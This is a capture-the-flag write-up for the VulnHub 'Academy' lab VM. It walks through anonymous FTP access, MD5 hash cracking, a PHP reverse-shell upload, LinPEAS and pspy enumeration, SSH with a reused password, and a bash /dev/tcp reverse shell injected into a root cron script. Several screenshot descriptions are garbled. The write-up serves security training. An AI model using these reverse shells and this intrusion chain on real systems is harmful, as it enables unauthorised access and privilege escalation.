

Academy (VulnHub) – Write-up

Platform: VulnHub

Machine Name: Academy

Difficulty: Medium

Environment: Isolated local lab (Kali Linux + VulnHub VM)

Task: Obtain root access and capture flag.txt

- Attacker ip addrs : 192.168.78.136
- Victim machine ip addrs : 192.168.78.142

Step 1: ip addr identification and ping test

- Victim machine did not have an ip address, hence “ dhclient ” was used to obtain one

```
root@academy:~# ip addr  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
        inet6 ::1/128 scope host  
            valid_lft forever preferred_lft forever  
2: ens33: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000  
    link/ether 00:0c:29:54:d2:fb brd ff:ff:ff:ff:ff:ff  
root@academy:~# dhclient  
root@academy:~# ip addr  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
        inet6 ::1/128 scope host  
            valid_lft forever preferred_lft forever  
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000  
    link/ether 00:0c:29:54:d2:fb brd ff:ff:ff:ff:ff:ff  
    inet 192.168.78.142/24 brd 192.168.78.255 scope global dynamic ens33  
        valid_lft 1797sec preferred_lft 1797sec  
        inet6 fe80::20c:29ff:fe54:d2fb/64 scope link  
            valid_lft forever preferred_lft forever  
root@academy:~# _
```

- A ping test was then performed to confirm connectivity between the attacker and victim machines.

```
(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.78.136 netmask 255.255.255.0 broadcast 192.168.78.255
        inet6 fe80::20c:29ff:fe62:d716 prefixlen 64 scopeid 0x20<link>
            ether 00:0c:29:62:d7:16 txqueuelen 1000 (Ethernet)
            RX packets 88 bytes 11866 (11.5 KiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 23 bytes 2456 (2.3 KiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
            loop txqueuelen 1000 (Local Loopback)
            RX packets 8 bytes 400 (400.0 B)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 8 bytes 400 (400.0 B)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

└─# ping 192.168.78.142
PING 192.168.78.142 (192.168.78.142) 56(84) bytes of data.
64 bytes from 192.168.78.142: icmp_seq=1 ttl=64 time=0.904 ms
64 bytes from 192.168.78.142: icmp_seq=2 ttl=64 time=0.504 ms
64 bytes from 192.168.78.142: icmp_seq=3 ttl=64 time=0.472 ms
64 bytes from 192.168.78.142: icmp_seq=4 ttl=64 time=0.503 ms
^C
--- 192.168.78.142 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3032ms
rtt min/avg/max/mdev = 0.472/0.595/0.904/0.178 ms

└─#
```

Step 2 : Information gathering

- Tool used : nmap

```
(root㉿kali)-[~]
└─# nmap -sV -A 192.168.78.142
Starting Nmap 7.92 ( https://nmap.org ) at 2025-10-14 21:47 EDT
Nmap scan report for 192.168.78.142
Host is up (0.00053s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r--   1 1000      1000          776 May 30 2021 note.txt
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:192.168.78.136
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.3 - secure, fast, stable
| End of status
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA)
|   256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA)
|_  256 99:9c:39:11:dd:35:53:a0:29:11:20:c7:f8:bf:71:a4 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:54:D2:FB (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Port scanning revealed the following open ports:

- 21 (FTP)
- 22 (SSH)
- 80 (HTTP)
- Given the presence of FTP, enumeration began with port 21.

The screenshot shows a Google search results page. The first result is from a site that discusses anonymous FTP login, mentioning that it does not require a password or sometimes accepts any password. The page content includes a snippet about anonymous login being a feature that allows users to log in to an FTP server with a common username like 'anonymous' or 'ftp'.

- Public references of the FTP ports extensive description indicated that it can be accessed using the username “anonymous” and with any/ no password entered

Step 3 : Accessing FTP service

- Based on the common FTP misconfigurations, anonymous login was tested.

The screenshot displays a terminal window on the left and a student registration form on the right. The terminal shows a root shell on a Kali Linux system, connected via FTP to the IP 192.168.78.142. The user has logged in anonymously and is navigating through the directory structure, listing files, and downloading a file named 'note.txt'. The registration form on the right is partially visible, showing fields for Student Reg No, Pincode, and CGPA.

```
(root㉿kali)-[~]
# ftp 192.168.78.142
Connected to 192.168.78.142.
220 (vsFTPD 3.0.3)
Name (192.168.78.142:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/" is the current directory
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1000      1000          776 May 30  2021 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (776 bytes).
226 Transfer complete.
776 bytes received in 0.00 secs (1.5354 MB/s)
ftp> cd..
?Invalid command
ftp> tcp 192.168.78.142
?Invalid command
ftp> exit
421 Timeout.
```

Result:

- Anonymous FTP access was allowed
- A file named note.txt was discovered and downloaded using the command : “ get note.txt ”
- Contents of note.txt :

```
[root@kali]~# cat note.txt
Hello Heath !
Grimmie has setup the test website for the new academy.
I told him not to use the same password everywhere, he will change it ASAP.

I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following command:

INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`, `updationDate`) VALUES ('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14:36:56', '');

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?
We can always adapt it to our needs.

-jdelta
```

- This file contained credentials such as :
 - username : 10201321
 - password hash : cd73502828457d15655bbd7a63fb0bc8

Step 4 : Crack the Hash

- Actions performed :
 1. Identify hash format used
Tool used : hash-identifier
 - The tool identified the hash as a MD5 format

- ## 2. Cracking the MD5 hash

Tool used : crackstation website

CrackStation

CrackStation · Password Hashing Security · Defuse Security

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
cd73502828457d15655bbd7a63fb0bc8
```

I'm not a robot
reCAPTCHA is changing its terms of service.
[Take action.](#)

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(shai_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
cd73502828457d15655bbd7a63fb0bc8	md5	student

Result :

- Password cracked : student
 - This cracked password alongside the previously obtained login credentials can be used for future web enumeration

Step 5 : Web enumeration (Port 80)

- Directory enumeration was performed on the web server to identify hidden or restricted paths.
 - Tools used : ffuf

Result :

- It revealed a PhpMyAdmin and Academy page

The screenshot shows a web browser window titled "Student Login". The address bar displays the URL "192.168.78.142/academy/". The main content area has a red header with the text "ONLINE COURSE REGISTRATION" and a user icon. Below the header, a pink circle contains a user icon with a plus sign. A horizontal line separates the header from the login form. The form includes fields for "Enter Reg no :" and "Enter Password :". A blue button labeled "Log Me In" is located below the password field. To the right of the form is a light blue sidebar containing text about the template's features:

This is a free bootstrap admin template with basic pages you need to craft your project. Use this template for free to use for personal and commercial use.

Some of its features are given below :

- Responsive Design Framework Used
- Easy to use and customize
- Font awesome icons included
- Clean and light code used.

Step 6 : Accessing the web application

- The credentials obtained from note.txt were used to log in to the web application successfully.

The screenshot shows a Firefox browser window with the URL "192.168.78.142/academy/change-password.php". A login dialog box is open, asking if the user wants to save the login for this site. The dialog shows the username "10201321" and a masked password. Below the dialog are "Don't Save" and "Save" buttons. The main page background is red and features the text "Welcome: Rum Ham Last Login: at". At the bottom of the page are navigation links: "ENROLL FOR COURSE", "ENROLL HISTORY", "MY PROFILE", "CHANGE PASSWORD", and "LOGOUT".

STUDENT CHANGE PASSWORD

The screenshot shows a "Change Password" form. It consists of four input fields: "Current Password", "New Password", and "Confirm Password", each with a "Password" placeholder. Above the "New Password" field is a link "Forgot Password?". Below the "Confirm Password" field is a link "Reset Password".


- Once authenticated, several features became available, including a profile section with an upload function.

Step 7 : Identifying vulnerabilities

While testing the upload feature, it was observed that:

- File type validation was not properly enforced
- Uploads were not restricted to image formats only

This indicated that arbitrary file upload was possible.



Step 8 : Uploading a reverse shell and gaining access

- Tool used : netcat

Actions performed :

- A reverse shell php is already available at the directory

```
(root㉿kali)-[/usr/share/webshells/php]
# ls
findsocket  php-backdoor.php  php-reverse-shell.php  qsd-php-backdoor.php  simple-backdoor.php
```

- Using nano the reverse shell IP and port were edited

```
// See http://pentestmonkey.net/tools/php-reverse
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

3. Started the listener using netcat using the Command nc -lvp 1234 (the port number we used in the shell configuration)
4. Uploaded the reverse_shell.php file through the vulnerable upload feature

Student Registration

Student Record updated Successfully !!

Student Name	Rum Ham
Student Reg No	10201321
Pincode	777777
CGPA	2.98

5. Once the file was executed, a shell was successfully obtained on the victim machine.

(root㉿kali)-[/usr/share/webshells/php]	10201321
# nc -lvp 1234	Pincode
listening on [any] 1234 ...	CGPA
connect to [192.168.78.136] from (UNKNOWN) [192.168.78.142] 41438	2.98
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux	Student Photo
23:53:22 up 2:10, 1 user, load average: 0.00, 0.01, 0.07	Upload New Photo
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT	
root tty1 - 21:18 2:34m 0.80s 0.77s -bash	
uid=33(www-data) gid=33(www-data) groups=33(www-data)	
/bin/sh: 0: can't access tty; job control turned off	
\$ whoami	
www-data	
\$ ls	
bin	
boot	
dev	
etc	
home	
initrd.img	
initrd.img.old	
lib	
lib32	
lib64	
libx32	
lost+found	
media	
mnt	

Step 9 : Local enumeration using LinPEAS

- Tool used : LinPEAS
- To identify possible privilege escalation paths, LinPEAS was transferred to the victim machine.
- Actions performed :
 1. Hosted LinPEAS on the attacker machine via a simple web server

```

└──(root💀 kali)-[~]
    └─# pwd
        /root

└──(root💀 kali)-[~]
    └─# cd Desktop
        └──(root💀 kali)-[~/Desktop]
            └─# cd Transfer
                └──(root💀 kali)-[~/Desktop/Transfer]
                    └─# python3 -m http.server 80
                        Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

2. Download it on the victim using wget

- Changed directory to “ tmp ” to create a temporary file (LinPEAS)
- Used command “ wget <http://192.168.78.136/linpeas.sh> ” , to receive the file from the attacker machine

```

$ pwd
/
$ cd tmp
$ wget http://192.168.78.136/linpeas.sh
--2025-10-15 03:07:32-- http://192.168.78.136/linpeas.sh
Connecting to 192.168.78.136:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 473164 (462K) [text/x-sh]
Saving to: 'linpeas.sh'

      0K ..... . . . . . 10% 12.4M 0s
  50K ..... . . . . . 21% 16.1M 0s
100K ..... . . . . . 32% 21.3M 0s
150K ..... . . . . . 43% 29.1M 0s
200K ..... . . . . . 54% 34.0M 0s
250K ..... . . . . . 64% 38.5M 0s
300K ..... . . . . . 75% 76.4M 0s
350K ..... . . . . . 86% 38.5M 0s
400K ..... . . . . . 97% 32.3M 0s
450K ..... . . . . . 100% 81.8M-0.02s

2025-10-15 03:07:32 (26.2 MB/s) - 'linpeas.sh' saved [473164/473164]

$ 

```

If different port besides Port 80 was used in the web server, it shall be specified in the receiver as well, (i.e. Port 1111 = 192.168.78.136:1111/linpeas.sh)

3. Changed file permissions and executed it

- To run a .sh file the command is supposed to be “ ./ ” , but since permission was denied, the permission was modified using the command chmod +x .

```

$ ls
linpeas.sh
$ 
$ ./linpeas.sh
/bin/sh: 136: ./linpeas.sh: Permission denied
$ 
$ chmod +x linpeas.sh
$ 
$ ./linpeas.sh

```



Step 10 : Identifying privilege escalation (P.E.) vectors

- LinPEAS has identified and indicated the P.E. vector for each vulnerabilities in the victim machine

```
* * * * * /home/grimmeie/backup.sh
[+] Services
Search for outdated versions
[ - ] apache-htcacheclean
[ + ] apache2
[ + ] apparmor
[ - ] console-setup.sh
[ + ] cron
[ + ] dbus
[ - ] hwclock.sh
[ - ] keyboard-setup.sh
[ + ] kmod
[ + ] mysql
[ + ] networking
[ + ] procps
[ - ] rsync
[ + ] rsyslog
[ + ] ssh
[ + ] udev
[ + ] vsftpd
```

- From the LinPEAS output, the following were identified:
- A root-owned script named backup.sh
- The script was marked as a high-probability privilege escalation vector

```
* * * * * /home/grimmeie/backup.sh
```

- A mysql password was also identified, password : " My_V3ryS3cur3_P4ss "

```
[[[[[ Searching passwords in config PHP files
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['ShowChgPassword'] = true;
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_password = "My_V3ryS3cur3_P4ss";
```

```
[[[[[ Finding passwords inside key folders (limit 70) - only PHP files
/var/www/html/academy/admin/change-password.php:                                <form name="chngpwd" method="post" onSubmit="return valid();">
/var/www/html/academy/admin/change-password.php:else if(document.chngpwd.cnfpass.value=="")          STUDENT REGISTRATION
/var/www/html/academy/admin/change-password.php:else if(document.chngpwd.newpass.value!= document.chngpwd.cnfpass.value)
/var/www/html/academy/admin/change-password.php:else if(document.chngpwd.newpass.value=="")
/var/www/html/academy/admin/change-password.php:if(document.chngpwd.cpass.value=="")
/var/www/html/academy/admin/includes/config.php:$mysql_password = "My_V3ryS3cur3_P4ss";
/var/www/html/academy/admin/index.php:                               <input type="password" name="password" class="form-control" required />
/var/www/html/academy/admin/index.php:           Student Registration <label>Enter Password : </label>
/var/www/html/academy/admin/index.php:     $password=md5($_POST['password']);
/var/www/html/academy/admin/index.php:$query=mysqli_query($bd, "SELECT * FROM admin WHERE username='$username' and password ='$password'");
/var/www/html/academy/admin/manage-students.php:it Name $password="12345";
/var/www/html/academy/admin/student-registration.php:$password=md5($_POST['password']);
/var/www/html/academy/change-password.php:      Run Here <form name="chngpwd" method="post" onSubmit="return valid();">
/var/www/html/academy/change-password.php:else if(document.chngpwd.cnfpass.value=="")
/var/www/html/academy/change-password.php:else if(document.chngpwd.newpass.value!= document.chngpwd.cnfpass.value)
/var/www/html/academy/change-password.php:else if(document.chngpwd.newpass.value=="")
/var/www/html/academy/change-password.php:if(document.chngpwd.cpass.value=="")
/var/www/html/academy/includes/config.php:$mysql_password = "My_V3ryS3cur3_P4ss";
/var/www/html/academy/index.php:                               <input type="password" name="password" class="form-control" />
/var/www/html/academy/index.php:           <label>Enter Password : </label>
/var/www/html/academy/index.php:     $password=md5($_POST['password']);
```

- More exploration exposed the username and the previously identified password belong to a mysql database

```
$ cat /var/www/html/academy/admin/includes/config.php
<?php
$mysql_hostname = "localhost";
$mysql_user = "grimmie";
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_database = "onlinecourse";
$bd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect database");
self.sock.sendall(b)
```

- Futher exploration into the directory home/etc/passwd indicated that grimmie has administrator authority

The image shows two terminal windows side-by-side. The left terminal window displays a root shell session on a Kali Linux system, listing various system files and commands like tmpfiles.d, ucf.conf, and vsftpd.conf. The right terminal window shows a user shell session on a target host, navigating through directories (cd desktop, cd Desktop, cd Transfer) and executing a python3 script (http.server 80). The script is serving an exploit file (linpeas.py) from port 80. The exploit file contains code for a local exploit, likely for a vulnerable service like Apache Struts or similar, which results in a stack溢出 (stack overflow) and a remote code execution (RCE) on the target host.

```

File Actions Edit View Help
tmpfiles.d
ucf.conf
udev
ufw
update-motd.d
vim
vsftpd.conf
wgetrc
xattr.conf
xdg
$ cat passwd
root:x:0:0:root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
grimmie:x:1000:1000:administrator,,,:/home/grimmie:/bin/bash
$ [REDACTED]

```

Step 11 : Lateral privilege escalation (User → Admin)

Actions performed :

1. A SSH connection with the user grimmie and the password : My_V3ryS3cur3_P4ss has enabled a succesful admin privilege

The image shows a terminal window displaying an SSH session between a Kali Linux host and a target host at 192.168.78.142. The session starts with a warning about host key fingerprint mismatch. The user is prompted to continue connecting (yes/no) and enters 'yes'. A warning message indicates that the host has been added to the list of known hosts. The user then enters the password 'My_V3ryS3cur3_P4ss' and is prompted for another password. The terminal then displays the standard Debian 4.19.0-16-amd64 login screen, asking for a username and password. The user logs in as 'grimmie'.

```

[~] # ssh grimmie@192.168.78.142
The authenticity of host '192.168.78.142 (192.168.78.142)' can't be established.
ED25519 key fingerprint is SHA256:eeNKTtakhvXyaWVPMDTB9+/4WEg6WKZwlUp0ATptgb0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.78.142' (ED25519) to the list of known hosts.
grimmie@192.168.78.142's password:

Permission denied, please try again.
grimmie@192.168.78.142's password: [REDACTED]
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 10 01:11:41 2024 from 192.168.72.136
grimmie@academy:~$ [REDACTED]

```

2. Identified the content of the backup.sh

```
grimmie@academy:~$ ls
backup.sh
grimmie@academy:~$ cat backup.sh
#!/bin/bash

grimmie@academy:~$
```

- It uses a shebang command
3. Checked for crontab (scheduled job)

```
grimmie@academy:~$ crontab -l
no crontab for grimmie 1000:1000:admin
grimmie@academy:~$
```

- There was none
4. Checked crontab for root

```
grimmie@academy:~$ crontab -u root -l
must be privileged to use -u 0:root
grimmie@academy:~$
```

- Root privilege is required to check root crontab

Step 12 : Process Snooping

Tool used : pspy64

Actions performed :

1. Imported pspy64 with the same manner as LinPEAS was previously

```
grimmie@academy:~$ wget http://192.168.78.136/pspy64
--2025-10-15 22:18:58--  http://192.168.78.136/pspy64
Connecting to 192.168.78.136:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64          100%[=====]  2.94M --KB/s   in 0.04s

2025-10-15 22:18:58 (71.2 MB/s) - 'pspy64' saved [3078592/3078592]
```

Note: Temporary directories such as /tmp are preferred for file transfers.

2. Ran pspy64 after changing permission

$UID = 0$ means, executed by root ; $UID = 1000$, means by admin

Result :

- It was observed that root runs backup.sh once every minute

Time	CMD:	UID=0	PID	Command	IP
27:01	CMD:	UID=0	PID=13155	/usr/sbin/CRON -f	192.168.1.11
27:01	CMD:	UID=0	PID=13156	/usr/sbin/CRON -f	192.168.1.11
27:01	CMD:	UID=0	PID=13157	/bin/sh -c /home/grimmie/backup.sh	
28:01	CMD:	UID=0	PID=13158	/usr/sbin/CRON -f	
28:01	CMD:	UID=0	PID=13159	/usr/sbin/CRON -f	
28:01	CMD:	UID=0	PID=13160	/bin/bash /home/grimmie/backup.sh	

- This can be taken advantage of by using a reverse shell

Step 13 : Injecting a reverse shell for root privilege escalation

Actions performed :

1. Obtained bash reverse shell code from a public reference

pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- Blog (78)
- Cheat Sheets (10)
 - Shells (1)
 - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
 - Audit (3)
 - Misc (7)
 - User Enumeration (4)
 - Web Shells (3)
- Uncategorized (3)
- Yanfest (15)

back a reverse shell or binding a shell to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you're suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute "/bin/sh -i" with "cmd.exe".

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they're quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

2. Listener was set up on port 8080

```
└─(root💀kali㉿kali:[~])─[~]
└─# nc -lvpn 8080
listening on [any] 8080 ...
```

3. Injected the shellcode into the file

```
grimmie@academy: ~ × root@kali: ~ ×
GNU nano 3.2                                backup.sh
GNU nano 3.2                                backup.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.78.136/8080 0>&1
```

Changed the default ip given to attacker ip

Step 14 : Capturing the final flag

- After 1 minute the server executed the backup.sh file, a root shell was received AND
- The flag.txt was obtained

```
└─(root💀kali㉿kali:[~/Desktop/Transfer])─[~]
└─# nc -lvpn 8080 ...
listening on [any] 8080 ...
connect to [192.168.78.136] from (UNKNOWN) [192.168.78.142] 56772
bash: cannot set terminal process group (27464): Inappropriate ioctl for device
bash: no job control in this shell
root@academy:~# ls
flag.txt
root@academy:~# cat flag.txt
cat flag.txt
Congratz you rooted this box !
Looks like this CMS isn't so secure ...
I hope you enjoyed it.
If you had any issue please let us know in the course discord.

Happy hacking !
root@academy:~#
```

This marks the completion of the Academy machine.

- Overall, this machine involved gaining initial access through anonymous FTP and cracked credentials to access a vulnerable web application. A file upload vulnerability allowed a PHP reverse shell to be deployed, providing an initial shell. Local enumeration using LinPEAS exposed credentials that enabled lateral movement to an administrator account. Process monitoring with pspy revealed a root-owned cron job executing a writable script, which was abused to inject a reverse shell and obtain root access, allowing the final flag to be captured.